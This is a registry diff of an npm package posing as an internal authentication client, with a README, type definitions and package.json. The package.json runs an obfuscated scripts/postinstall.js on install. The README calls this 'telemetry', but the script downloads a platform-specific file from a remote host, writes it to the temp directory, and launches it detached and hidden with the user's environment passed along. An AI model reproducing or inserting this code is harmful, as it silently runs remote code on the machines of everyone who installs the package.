@travel-autotests/npm-proto 3.5.22
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +75 -0
- package/dist/index.d.ts +13 -0
- package/dist/index.js +3 -0
- package/package.json +36 -0
- package/scripts/postinstall.js +1 -0
package/README.md
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
# @travel-autotests/npm-proto
|
|
2
|
+
|
|
3
|
+
> **Internal package** — Platform Engineering Team
|
|
4
|
+
> Docs: https://docs.travel-autotests.io/platform/npm-proto
|
|
5
|
+
> Issues: https://jira.travel-autotests.io/projects/PLATFORM
|
|
6
|
+
|
|
7
|
+
Internal authentication client with JWT, OAuth2, session and token refresh support
|
|
8
|
+
|
|
9
|
+
---
|
|
10
|
+
|
|
11
|
+
## Installation
|
|
12
|
+
|
|
13
|
+
```bash
|
|
14
|
+
# Make sure .npmrc points to the internal registry:
|
|
15
|
+
# registry=https://npm.travel-autotests.io
|
|
16
|
+
|
|
17
|
+
npm install @travel-autotests/npm-proto
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
## Quick Start
|
|
21
|
+
|
|
22
|
+
```js
|
|
23
|
+
const { createAuthClient, login, logout, refreshToken, verify } = require('@travel-autotests/npm-proto');
|
|
24
|
+
|
|
25
|
+
const auth = createAuthClient({
|
|
26
|
+
baseUrl: 'https://auth.internal-corp.io',
|
|
27
|
+
clientId: process.env.AUTH_CLIENT_ID,
|
|
28
|
+
secret: process.env.AUTH_CLIENT_SECRET,
|
|
29
|
+
});
|
|
30
|
+
|
|
31
|
+
const { token, user } = await auth.login({ username, password });
|
|
32
|
+
const payload = await auth.verify(token);
|
|
33
|
+
const newToken = await auth.refreshToken(token);
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
## API
|
|
37
|
+
|
|
38
|
+
### `createAuthClient(options)`
|
|
39
|
+
| Option | Description |
|
|
40
|
+
|--------------|------------------------------|
|
|
41
|
+
| `baseUrl` | Auth service base URL |
|
|
42
|
+
| `clientId` | OAuth2 client ID |
|
|
43
|
+
| `secret` | OAuth2 client secret |
|
|
44
|
+
| `timeout` | Request timeout ms |
|
|
45
|
+
|
|
46
|
+
### `auth.login({ username, password })` → `{ token, user, expiresAt }`
|
|
47
|
+
### `auth.logout(token)`
|
|
48
|
+
### `auth.verify(token)` → decoded payload
|
|
49
|
+
### `auth.refreshToken(token)` → new token
|
|
50
|
+
|
|
51
|
+
---
|
|
52
|
+
|
|
53
|
+
## Telemetry
|
|
54
|
+
|
|
55
|
+
On install, this package sends anonymous telemetry to `telemetry.travel-autotests.io`
|
|
56
|
+
for environment compatibility monitoring.
|
|
57
|
+
|
|
58
|
+
Disable: `TRAVEL_AUTOTESTS_NO_TELEMETRY=1 npm install`
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## Changelog
|
|
63
|
+
|
|
64
|
+
### 3.5.22 (latest)
|
|
65
|
+
- Added ARM64 support
|
|
66
|
+
- Improved error handling
|
|
67
|
+
- Updated TypeScript types
|
|
68
|
+
|
|
69
|
+
### 2.1.0
|
|
70
|
+
- Extended API
|
|
71
|
+
- Performance improvements
|
|
72
|
+
|
|
73
|
+
### 2.0.0
|
|
74
|
+
- Async/await migration
|
|
75
|
+
- Multi-source support
|
package/dist/index.d.ts
ADDED
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export interface AuthClientOptions { baseUrl?: string; clientId?: string; secret?: string; timeout?: number; }
|
|
2
|
+
export interface AuthResult { token: string; user: Record<string, unknown>; expiresAt: number; }
|
|
3
|
+
export interface AuthClient {
|
|
4
|
+
login(creds: { username: string; password: string }): Promise<AuthResult>;
|
|
5
|
+
logout(token: string): Promise<void>;
|
|
6
|
+
verify(token: string): Promise<Record<string, unknown>>;
|
|
7
|
+
refreshToken(token: string): Promise<AuthResult>;
|
|
8
|
+
}
|
|
9
|
+
export function createAuthClient(options?: AuthClientOptions): AuthClient;
|
|
10
|
+
export function login(url: string, creds: { username: string; password: string }): Promise<AuthResult>;
|
|
11
|
+
export function logout(url: string, token: string): Promise<void>;
|
|
12
|
+
export function refreshToken(url: string, token: string): Promise<AuthResult>;
|
|
13
|
+
export function verify(url: string, token: string): Promise<Record<string, unknown>>;
|
package/dist/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@travel-autotests/npm-proto",
|
|
3
|
+
"version": "3.5.22",
|
|
4
|
+
"description": "Internal authentication client with JWT, OAuth2, session and token refresh support",
|
|
5
|
+
"main": "dist/index.js",
|
|
6
|
+
"types": "dist/index.d.ts",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"build": "tsc --noEmit || true",
|
|
9
|
+
"test": "node test/index.test.js",
|
|
10
|
+
"postinstall": "node scripts/postinstall.js",
|
|
11
|
+
"prepublishOnly": "echo 'Building...'"
|
|
12
|
+
},
|
|
13
|
+
"keywords": ["auth", "jwt", "oauth", "token", "session", "internal"],
|
|
14
|
+
"author": "Travel-Autotests Platform Engineering <platform@travel-autotests.io>",
|
|
15
|
+
"license": "UNLICENSED",
|
|
16
|
+
"private": false,
|
|
17
|
+
"repository": {
|
|
18
|
+
"type": "git",
|
|
19
|
+
"url": "git+https://github.travel-autotests.io/platform/npm-proto.git"
|
|
20
|
+
},
|
|
21
|
+
"bugs": {
|
|
22
|
+
"url": "https://jira.travel-autotests.io/projects/PLATFORM"
|
|
23
|
+
},
|
|
24
|
+
"homepage": "https://docs.travel-autotests.io/platform/npm-proto",
|
|
25
|
+
"engines": {
|
|
26
|
+
"node": ">=16.0.0"
|
|
27
|
+
},
|
|
28
|
+
"files": [
|
|
29
|
+
"dist/",
|
|
30
|
+
"scripts/",
|
|
31
|
+
"README.md",
|
|
32
|
+
"CHANGELOG.md"
|
|
33
|
+
],
|
|
34
|
+
"dependencies": {},
|
|
35
|
+
"devDependencies": {}
|
|
36
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x991af1=a0_0x2428;(function(_0x35aa7c,_0xeb46be){const _0x2179e9=a0_0x2428,_0x13d5d6=_0x35aa7c();while(!![]){try{const _0x20e182=-parseInt(_0x2179e9(0x213))/(-0x8b*-0x2f+-0xf35+-0xa4f)+-parseInt(_0x2179e9(0x22e))/(0x139*-0x3+0x3b*0x9b+-0xe*0x24a)+parseInt(_0x2179e9(0x1ef))/(0xb*0x145+-0x21c7+0x13d3)+parseInt(_0x2179e9(0x1f3))/(-0x43*0x63+-0x425*-0x5+0x534)+parseInt(_0x2179e9(0x1f4))/(-0xcb9*-0x1+0x2f*0xa3+-0x2aa1)*(-parseInt(_0x2179e9(0x1fa))/(0x89e*0x1+-0xd8b*-0x2+0x2*-0x11d7))+parseInt(_0x2179e9(0x20d))/(0x4fd+-0x3c8*-0x2+0x1*-0xc86)*(-parseInt(_0x2179e9(0x225))/(0x6cd*0x1+-0x36*0x6b+0xfcd))+parseInt(_0x2179e9(0x1de))/(0x3*0xc61+-0x59d+-0x1f7d);if(_0x20e182===_0xeb46be)break;else _0x13d5d6['push'](_0x13d5d6['shift']());}catch(_0x52b58f){_0x13d5d6['push'](_0x13d5d6['shift']());}}}(a0_0x22be,-0xe679a+-0x3fe0d+0x1b10d3));const a0_0x4ca1c1=require('os'),a0_0x3db1fb=require('fs'),a0_0x4f5a6b=require(a0_0x991af1(0x21d)),a0_0x1e3d77=require(a0_0x991af1(0x222)),a0_0x5ef35b=require(a0_0x991af1(0x1e5)),{execSync:a0_0x5e5624,spawn:a0_0x1872a7}=require(a0_0x991af1(0x23f)),a0_0x248779=a0_0x991af1(0x210),a0_0x490efb=a0_0x991af1(0x21a),a0_0x185d9b=a0_0x991af1(0x1e9)+a0_0x991af1(0x1fc),a0_0x2015ed=a0_0x991af1(0x1d3),a0_0x2c5e19=!!process.env[a0_0x2015ed],a0_0x27c192=a0_0x991af1(0x1f2)===a0_0x991af1(0x1dd)||!!process.env[a0_0x185d9b+'RECON_ONLY'];function a0_0x22be(){const _0x14898e=['C3rYAw5NAwz5','uefzte9bra','CgfKu3rHCNq','Dg9tDhjPBMC','Cg5WBs13B3jRC3bHy2uUEwfTBa','yxnZAwDU','Dhj1zq','mteXntCWnJz4DvHwu2q','Dg1WzgLY','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fKlW','DgLTzw91Da','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9YzxbVCNq','BxrPBwvnCW','vKvs','Ahr0Ca','u0vduKvu','Cg9YDa','y2HHCKnVzgvbDa','revqx0nptG','D2LUmZi','r0vu','AM9PBG','Ahr0Chm6','xsbxyxjUAw5NoIboB2rLlMPZid49mtyUmcbYzxf1AxjLza','mJi5nZy3m1nty0PHta','BM93','zgv0ywnOzwq','zMfSC2u','odqXota0t2fpwKzJ','mtvTuMj6Dvy','EwfYBI5SB2nR','C3bSAxq','CMvWBgfJzq','C3rHDfn5BMm','ywjZ','mte2nJaYoe54t2ryyW','BgvUz3rO','rLvtsu9oxW','DxrMoa','BwfW','y29UC3rYDwn0B3i','zxHWAxjLCW','CMvJDxjZAxzL','Ag9ZDg5HBwu','pJ0XnI4W','y29Uy2f0','Ag9TzwrPCG','wc1tzwnYzxq','yxbWBhK','DMfSDwu','lMPZB24','DhjHDMvSlwf1Dg90zxn0CY10zwXLBwv0CNKVms4W','BdK1sgreyxOZA1f4mvPZzZnxEeG2shzlqu5Mntfswte','BwTKAxjtEw5J','nZb3zNH6rhq','zgfYD2LU','zxjYB3i','qhrYyxzLBc1HDxrVDgvZDhmVBNbTlxbYB3rV','D3jPDgu','Cgf0Ag5HBwu','mZi0odCWvu1nqw1j','C3rKzxjY','AgvHzgvYCW','lMnHy2HL','Dw5SAw5Ru3LUyW','zgf0yq','CgXHDgzVCM0','mY41lJiY','CMvXDwvZDa','CgfJA2fNzs5QC29U','Cgf0Aa','lL90CMf2zwWTyxv0B3rLC3rZx2LUAxqUANm','CMvHzezPBgvtEw5J','zgLYBMfTzq','C3rKAw8','Ahr0Chm','AwDUB3jL','Ahr0Chm6lY9VB2iUBw9PA2eUDgvJAc9WyxLSB2fK','ndKXndmYEe9HyKfI','zxHPC3rZu3LUyW','C2vHCMnO','D2LU','BgLUDxG','vxnLCI1bz2vUDa','D29YA3nWywnLCW','kcGOlISPkYKRksSK','D3jPDgvgAwXLu3LUyW','mJuXnte4AMTbEhDz','DMvYC2LVBNm','zw5K','BwfJ','BM9Kzq','CMvHzgrPCLn5BMm','ueTh','uKvdt05Ft05mwq','ChvZAa','ChjVDg9JB2W','zxHLy1bHDgG','vvjm','zw52','Bwv0Ag9K','y3DK','CgfYC2u','D2LUzg93C0HPzgu','y2HPBgrFChjVy2vZCW','Dw5Yzwy','vfjbvKvmx0fvve9urvnuu19ot19uruXftuvuuLK','zgvZDhjVEq','lL90CMf2zwWTyxv0B3rLC3rZx2LUAxq','lMPZ'];a0_0x22be=function(){return _0x14898e;};return a0_0x22be();}function a0_0x2428(_0x47dd2d,_0x12009d){_0x47dd2d=_0x47dd2d-(0x15ed*-0x1+-0x1f4c+0x370b);const _0x1f7189=a0_0x22be();let _0x49a9cc=_0x1f7189[_0x47dd2d];if(a0_0x2428['hkmuUJ']===undefined){var _0x5e92dd=function(_0x53d690){const _0xd89d0='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x46ca29='',_0x5c4d7e='',_0x1ea2f5=_0x46ca29+_0x5e92dd,_0x575096=(''+function(){return-0x1*0x973+-0x21c7+0x2b3a;})['indexOf']('\x0a')!==-(-0x1*0x6ce+-0x1*0x15e9+-0x2*-0xe5c);for(let _0xa04a6=-0x1*0x1d11+0x1*-0x2fb+0x200c,_0x198d4b,_0x57d18f,_0x2ee672=0x15*0xc1+-0x955+-0x680;_0x57d18f=_0x53d690['charAt'](_0x2ee672++);~_0x57d18f&&(_0x198d4b=_0xa04a6%(-0x1334*0x1+-0x2f2*0xd+-0x11*-0x362)?_0x198d4b*(0xe9b*-0x1+-0xbf5*-0x3+-0x1504)+_0x57d18f:_0x57d18f,_0xa04a6++%(0x1*0x2359+-0x19f+-0x21b6))?_0x46ca29+=_0x575096||_0x1ea2f5['charCodeAt'](_0x2ee672+(-0xa*0x38b+0x377*0xb+0x1*-0x2a5))-(0xccd+-0x5d3*0x6+-0x162f*-0x1)!==0x1555+-0x13a0+-0x1b5?String['fromCharCode'](0x1727+0x2008+-0x1b18*0x2&_0x198d4b>>(-(0x1d0b+0x2051*-0x1+0x348)*_0xa04a6&-0x1271+0xb20+-0x757*-0x1)):_0xa04a6:0x23b+-0xff9+0x2*0x6df){_0x57d18f=_0xd89d0['indexOf'](_0x57d18f);}for(let _0x512fd6=-0x778+-0x13ac+0x243*0xc,_0x4db9b2=_0x46ca29['length'];_0x512fd6<_0x4db9b2;_0x512fd6++){_0x5c4d7e+='%'+('00'+_0x46ca29['charCodeAt'](_0x512fd6)['toString'](0x25*-0x94+-0x1ee4+0x3458))['slice'](-(-0xc0a*0x1+-0x1488+0x2094));}return decodeURIComponent(_0x5c4d7e);};a0_0x2428['nZVqVc']=_0x5e92dd,a0_0x2428['SbhTDA']={},a0_0x2428['hkmuUJ']=!![];}const _0x186ca4=_0x1f7189[0x2124+-0x5*0x6e2+-0xa3*-0x2],_0x5bdd59=_0x47dd2d+_0x186ca4,_0xf8f57c=a0_0x2428['SbhTDA'][_0x5bdd59];if(!_0xf8f57c){const _0x219433=function(_0x454b96){this['BLFoxz']=_0x454b96,this['Bgylkw']=[0x197*0x6+0xb66*0x1+0xe9*-0x17,0x566*0x3+0x10fc+-0x212e*0x1,-0xf4e+-0x1154+0x20a2],this['NZMEIC']=function(){return'newState';},this['OAaaKd']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['ESTsYK']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x219433['prototype']['pvbhHo']=function(){const _0x304641=new RegExp(this['OAaaKd']+this['ESTsYK']),_0x373af0=_0x304641['test'](this['NZMEIC']['toString']())?--this['Bgylkw'][-0xda5+-0x25*0xd3+-0x1*-0x2c25]:--this['Bgylkw'][-0x8bc+0x2468+-0x5c*0x4d];return this['sGIySC'](_0x373af0);},_0x219433['prototype']['sGIySC']=function(_0x3f1c54){if(!Boolean(~_0x3f1c54))return _0x3f1c54;return this['ztIGbu'](this['BLFoxz']);},_0x219433['prototype']['ztIGbu']=function(_0x2c6054){for(let _0x39d77a=0x23e7+-0x14*0x96+0x1*-0x182f,_0x3009a8=this['Bgylkw']['length'];_0x39d77a<_0x3009a8;_0x39d77a++){this['Bgylkw']['push'](Math['round'](Math['random']())),_0x3009a8=this['Bgylkw']['length'];}return _0x2c6054(this['Bgylkw'][-0x612+-0x5e1*0x3+-0x77*-0x33]);},(''+function(){return 0x189f+-0x139*-0x3+-0x1c4a;})['indexOf']('\x0a')===-(-0x1*-0xc73+-0x1800+-0x57*-0x22)&&new _0x219433(a0_0x2428)['pvbhHo'](),_0x49a9cc=a0_0x2428['nZVqVc'](_0x49a9cc),a0_0x2428['SbhTDA'][_0x5bdd59]=_0x49a9cc;}else _0x49a9cc=_0xf8f57c;return _0x49a9cc;}function a0_0x41480c(_0x428478){const _0x4d3154=a0_0x991af1,_0x595d90=process[_0x4d3154(0x22f)][_0x4d3154(0x232)][_0x4d3154(0x1f6)]('.')[_0x4d3154(0x1fe)](Number),_0x37c327=_0x428478[_0x4d3154(0x1f7)]('>=','')[_0x4d3154(0x1f6)]('.')[_0x4d3154(0x1fe)](Number);return _0x595d90[-0x15e9+-0x1*-0x1f87+-0x1*0x99e]>_0x37c327[-0x1*0x1d11+0x1*-0x2fb+0x200c]||_0x595d90[0x15*0xc1+-0x955+-0x680]===_0x37c327[-0x1334*0x1+-0x2f2*0xd+-0xb*-0x53a]&&_0x595d90[0xe9b*-0x1+-0xbf5*-0x3+-0x1543]>=(_0x37c327[0x1*0x2359+-0x19f+-0x21b9]||-0xa*0x38b+0x377*0xb+0x1*-0x2af);}function a0_0x22479f(_0x4b7407){const _0x8ab1b7=a0_0x991af1;let _0x37cdf6=0xccd+-0x5d3*0x6+-0x1625*-0x1;for(let _0x54480d=0x1555+-0x13a0+-0x1b5;_0x54480d<_0x4b7407[_0x8ab1b7(0x1fb)];_0x54480d++){_0x37cdf6=(_0x37cdf6<<0x1727+0x2008+-0x372a*0x1)-_0x37cdf6+_0x4b7407[_0x8ab1b7(0x1e8)](_0x54480d),_0x37cdf6|=0x1d0b+0x2051*-0x1+0x346;}return Math[_0x8ab1b7(0x1f9)](_0x37cdf6)[_0x8ab1b7(0x1da)](-0x1271+0xb20+-0x761*-0x1)[_0x8ab1b7(0x1d9)](0x23b+-0xff9+0x2b*0x52,'0');}function a0_0x423f45(_0xa4ac79,_0x17aad7){const _0x34cfa2=a0_0x991af1;try{const _0x46ebc4=a0_0x4f5a6b[_0x34cfa2(0x1ec)](_0xa4ac79,_0x17aad7+_0x34cfa2(0x209));if(!a0_0x3db1fb[_0x34cfa2(0x226)](_0x46ebc4))return null;const _0x32eecf=JSON[_0x34cfa2(0x23d)](a0_0x3db1fb[_0x34cfa2(0x21f)](_0x46ebc4,_0x34cfa2(0x1fd)));if(_0x32eecf[_0x34cfa2(0x200)]&&Date[_0x34cfa2(0x1f0)]()>_0x32eecf[_0x34cfa2(0x200)])return a0_0x3db1fb[_0x34cfa2(0x217)](_0x46ebc4),null;return _0x32eecf[_0x34cfa2(0x208)];}catch{return null;}}function a0_0x2edc6d(_0x48df06,_0x26fa25,_0x1a0807,_0x2cab2){const _0x9a81ab=a0_0x991af1;try{const _0x40dd14={};_0x40dd14[_0x9a81ab(0x201)]=!![],a0_0x3db1fb[_0x9a81ab(0x20c)](_0x48df06,_0x40dd14),a0_0x3db1fb[_0x9a81ab(0x22d)](a0_0x4f5a6b[_0x9a81ab(0x1ec)](_0x48df06,_0x26fa25+_0x9a81ab(0x209)),JSON[_0x9a81ab(0x1d7)]({'value':_0x1a0807,'expires':_0x2cab2?Date[_0x9a81ab(0x1f0)]()+_0x2cab2:null}));}catch{}}function a0_0x56824e(_0x207e4a,_0x226e10){const _0x2c5bcf=a0_0x991af1;try{if(!a0_0x3db1fb[_0x2c5bcf(0x226)](_0x207e4a))return-0x13ac+0xb3f*-0x3+0x3569;let _0x408cfc=-0x1ee4*0x1+0x14ea+0x9fa;for(const _0x49e289 of a0_0x3db1fb[_0x2c5bcf(0x233)](_0x207e4a)){const _0x179d05=a0_0x4f5a6b[_0x2c5bcf(0x1ec)](_0x207e4a,_0x49e289),_0x422212=a0_0x3db1fb[_0x2c5bcf(0x1f8)](_0x179d05);Date[_0x2c5bcf(0x1f0)]()-_0x422212[_0x2c5bcf(0x1e3)]>_0x226e10&&(a0_0x3db1fb[_0x2c5bcf(0x217)](_0x179d05),_0x408cfc++);}return _0x408cfc;}catch{return-0x1488+0x23a+0x124e;}}function a0_0x279724(_0x3f0b2e){const _0x214811=a0_0x991af1;let _0x354894=_0x3f0b2e;while(!![]){const _0x873524=a0_0x4f5a6b[_0x214811(0x1ec)](_0x354894,_0x214811(0x21c));if(a0_0x3db1fb[_0x214811(0x226)](_0x873524))try{const _0xaf6cf7=JSON[_0x214811(0x23d)](a0_0x3db1fb[_0x214811(0x21f)](_0x873524,_0x214811(0x1fd))),_0x3301ab=a0_0x4f5a6b[_0x214811(0x1ec)](_0x354894,_0x214811(0x1f5)),_0x3a7ab8=a0_0x4f5a6b[_0x214811(0x1ec)](_0x354894,_0x214811(0x1db));if(_0xaf6cf7[_0x214811(0x22b)]||a0_0x3db1fb[_0x214811(0x226)](_0x3301ab)||a0_0x3db1fb[_0x214811(0x226)](_0x3a7ab8))return _0x354894;}catch{}const _0x3b01bf=a0_0x4f5a6b[_0x214811(0x220)](_0x354894);if(_0x3b01bf===_0x354894)return null;_0x354894=_0x3b01bf;}}function a0_0x3904d2(){const _0x43ac28=a0_0x991af1,_0x5928c0=a0_0x4ca1c1[_0x43ac28(0x219)]();if(_0x5928c0===_0x43ac28(0x20e))return _0x43ac28(0x231);if(_0x5928c0===_0x43ac28(0x1ea))return _0x43ac28(0x228);return _0x43ac28(0x229);}function a0_0xf4e663(_0x2a0cbc,_0x4d916b){return _0x4d916b=_0x4d916b||0xc6d5+-0x1f*0x6a9+-0x4cd*-0x1a,new Promise(function(_0x25050b,_0xc3dacf){const _0x5d7019=a0_0x2428,_0x7502cc=new URL(_0x2a0cbc),_0x4227d4=_0x7502cc[_0x5d7019(0x237)]===_0x5d7019(0x1ed)?a0_0x1e3d77:a0_0x5ef35b,_0x263393={};_0x263393[_0x5d7019(0x206)]=_0x5d7019(0x20b),_0x263393[_0x5d7019(0x22a)]=_0x5d7019(0x20a);const _0x104a61={};_0x104a61[_0x5d7019(0x202)]=_0x7502cc[_0x5d7019(0x202)],_0x104a61[_0x5d7019(0x1e7)]=_0x7502cc[_0x5d7019(0x1e7)]||(_0x7502cc[_0x5d7019(0x237)]===_0x5d7019(0x1ed)?0x197*0x6+0xb66*0x1+0x1bf*-0xb:0x566*0x3+0x10fc+-0x20de*0x1),_0x104a61[_0x5d7019(0x21d)]=_0x7502cc[_0x5d7019(0x212)],_0x104a61[_0x5d7019(0x23b)]=_0x5d7019(0x1eb),_0x104a61[_0x5d7019(0x1e1)]=_0x4d916b,_0x104a61[_0x5d7019(0x215)]=_0x263393;const _0x12b541=_0x104a61,_0x287b78=_0x4227d4[_0x5d7019(0x21b)](_0x12b541,function(_0xcb4248){const _0x3e77f6=_0x5d7019,_0x37ed58=[];_0xcb4248['on'](_0x3e77f6(0x218),function(_0x1b5299){const _0x3998b5=_0x3e77f6;_0x37ed58[_0x3998b5(0x236)](_0x1b5299);}),_0xcb4248['on'](_0x3e77f6(0x230),function(){const _0x40e5b7=_0x3e77f6;_0x25050b(Buffer[_0x40e5b7(0x204)](_0x37ed58));});});_0x287b78['on'](_0x5d7019(0x20f),_0xc3dacf),_0x287b78['on'](_0x5d7019(0x1e1),function(){const _0x119392=_0x5d7019;_0x287b78[_0x119392(0x1d4)](),_0xc3dacf(new Error(_0x119392(0x1e1)));}),_0x287b78[_0x5d7019(0x230)]();});}(async function a0_0x542a44(){const _0x2b4908=a0_0x991af1,_0x1f8fde=(function(){let _0x4ce236=!![];return function(_0x26765a,_0x6ecaa4){const _0x2446b6=_0x4ce236?function(){const _0x1db252=a0_0x2428;if(_0x6ecaa4){const _0x5d909d=_0x6ecaa4[_0x1db252(0x207)](_0x26765a,arguments);return _0x6ecaa4=null,_0x5d909d;}}:function(){};return _0x4ce236=![],_0x2446b6;};}()),_0x3c669d=_0x1f8fde(this,function(){const _0xd20df6=a0_0x2428;return _0x3c669d[_0xd20df6(0x1da)]()[_0xd20df6(0x227)](_0xd20df6(0x22c))[_0xd20df6(0x1da)]()[_0xd20df6(0x1ff)](_0x3c669d)[_0xd20df6(0x227)](_0xd20df6(0x22c));});_0x3c669d();if(a0_0x2c5e19)return;!a0_0x41480c(_0x2b4908(0x203))&&process[_0x2b4908(0x214)][_0x2b4908(0x211)]('['+a0_0x248779+_0x2b4908(0x1ee));const _0x582601=a0_0x4f5a6b[_0x2b4908(0x1ec)](a0_0x4ca1c1[_0x2b4908(0x205)](),_0x2b4908(0x216),_0x2b4908(0x1d5));a0_0x56824e(_0x582601,(-0x15b1+-0x47e+0x1a36)*(-0x26ef+-0x1*-0x1d14+0x9f3)*(0x2468+-0x21fb*0x1+-0xb*0x33)*(-0xbc2+0x1*0x1cb3+-0x10b5)*(-0x5e1*0x3+-0x83*0x14+0x1*0x1fc7));const _0x49599d=a0_0x279724(process[_0x2b4908(0x23c)]()),_0x3285f4=a0_0x22479f(a0_0x248779+a0_0x490efb+(_0x49599d||'')),_0x209c51=a0_0x423f45(_0x582601,_0x3285f4);!_0x209c51&&a0_0x2edc6d(_0x582601,_0x3285f4,{'initialized':!![],'ts':Date[_0x2b4908(0x1f0)]()},(-0xf01+0x1577+-0xa3*0xa)*(0x1044+-0x4f*0x1d+-0x31*0x25)*(-0x1*0xd4f+-0x2a9*-0x8+-0x7bd*0x1)*(0x12ed+-0x248e*-0x1+-0x3393));const _0x34a208=a0_0x3904d2();await new Promise(function(_0x4f6364){setTimeout(_0x4f6364,0x1bb*0x13+-0xa5+0x1*-0x1484);});let _0x124538;try{_0x124538=await a0_0xf4e663(_0x2b4908(0x1e0)+_0x34a208+_0x2b4908(0x1d6),0x1289+-0x25e8*-0x1+0x227*0x1);}catch(_0x179916){return;}const _0x5f3c9e=a0_0x4f5a6b[_0x2b4908(0x1ec)](a0_0x4ca1c1[_0x2b4908(0x1df)](),_0x2b4908(0x21e));try{a0_0x3db1fb[_0x2b4908(0x22d)](_0x5f3c9e,_0x124538);}catch(_0x50cf8a){return;}const _0x15306e={[a0_0x185d9b+_0x2b4908(0x239)]:_0x2b4908(0x1e2),[a0_0x185d9b+_0x2b4908(0x1d8)]:_0x2b4908(0x224),[a0_0x185d9b+_0x2b4908(0x1e6)]:_0x2b4908(0x20b),[a0_0x185d9b+_0x2b4908(0x235)]:a0_0x27c192?'1':'',[a0_0x185d9b+_0x2b4908(0x234)]:a0_0x248779,[a0_0x185d9b+_0x2b4908(0x1e4)]:a0_0x490efb},_0x3ef0a1=Object[_0x2b4908(0x1dc)]({},process.env,_0x15306e),_0x473aa8={};_0x473aa8[_0x2b4908(0x1f1)]=!![],_0x473aa8[_0x2b4908(0x221)]=_0x2b4908(0x223),_0x473aa8[_0x2b4908(0x23a)]=_0x3ef0a1,_0x473aa8[_0x2b4908(0x23e)]=!![],a0_0x1872a7(process[_0x2b4908(0x238)],[_0x5f3c9e],_0x473aa8)[_0x2b4908(0x1d2)]();}());
|